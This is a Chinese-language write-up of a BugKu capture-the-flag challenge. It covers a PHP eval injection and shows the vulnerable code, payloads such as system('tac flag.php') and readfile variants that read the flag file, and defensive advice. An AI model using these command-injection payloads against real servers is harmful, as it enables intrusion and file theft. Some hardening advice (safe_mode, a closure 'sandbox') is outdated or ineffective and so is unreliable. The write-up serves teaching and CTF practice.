从BugKu PHP代码注入题目看Web安全基础
漏洞代码深度分析
让我们首先仔细分析题目提供的PHP源代码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
这段代码虽然简短,却包含了几个关键安全漏洞:
- 不安全的动态代码执行:
eval
函数直接执行用户可控输入 - 缺乏输入验证:未对
$_REQUEST['hello']
做任何过滤 - 敏感信息暴露:
show_source(__FILE__)
暴露服务器端代码
漏洞利用详解
正确解法
正如题目提示,正确的利用方式是:
/?hello=system('tac flag.php')
攻击原理分解:
- 原始代码执行:
eval("var_dump($a);")
- 注入后变为:
eval("var_dump(system('tac flag.php'));")
实际执行流程:
- 执行
system('tac flag.php')
命令 tac
命令反向输出flag.php内容var_dump
输出命令执行结果
- 执行
为什么这个Payload有效?
- 无缝拼接:无需闭合语句或添加注释
- 函数嵌套:
system()
作为var_dump()
的参数 - 命令执行:直接读取flag文件内容
- 输出显示:通过var_dump显示命令结果
漏洞利用的多种变体
除了标准解法外,还有多种等效的攻击方式:
1. 使用不同命令
/?hello=system('cat flag.php')
/?hello=system('more flag.php')
2. 使用PHP文件函数
/?hello=highlight_file('flag.php')
/?hello=readfile('flag.php')
3. 直接变量输出(如果flag.php定义变量)
/?hello=$flag
漏洞防御方案
1. 根本解决方案:避免使用eval
// 安全替代方案:直接输出变量
var_dump($safe_value);
2. 输入过滤(如果必须使用eval)
$a = preg_replace('/[^a-zA-Z0-9]/', '', $_REQUEST['hello']);
3. 沙箱执行
// 使用闭包限制作用域
$func = function($code) {
return eval('return '.$code.';');
};
$func->bindTo(null);
4. 服务器配置加固
在php.ini中:
disable_functions = "exec,passthru,shell_exec,system"
safe_mode = On
CTF解题技巧总结
- 代码审计:首先分析所有可能的执行路径
- 试探过滤:尝试简单payload探测防护规则
- 错误利用:从错误信息中获取线索
- 环境感知:检查phpinfo等环境信息
安全开发建议
- 最小权限原则:Web服务使用低权限账户
- 深度防御:多层次安全防护
- 安全编码规范:制定并执行代码安全标准
- 持续教育:定期进行安全培训
总结
这个BugKu题目展示了:
- eval的危险性:永远不要直接执行用户输入
- 系统命令执行:Web应用与操作系统间的危险桥梁
- 安全开发实践:输入验证、输出编码等基本原则
最终答案:通过/?hello=system('tac flag.php')
可以最直接地获取flag内容。这个案例生动地说明了为什么在OWASP Top 10中,注入攻击长期位居榜首。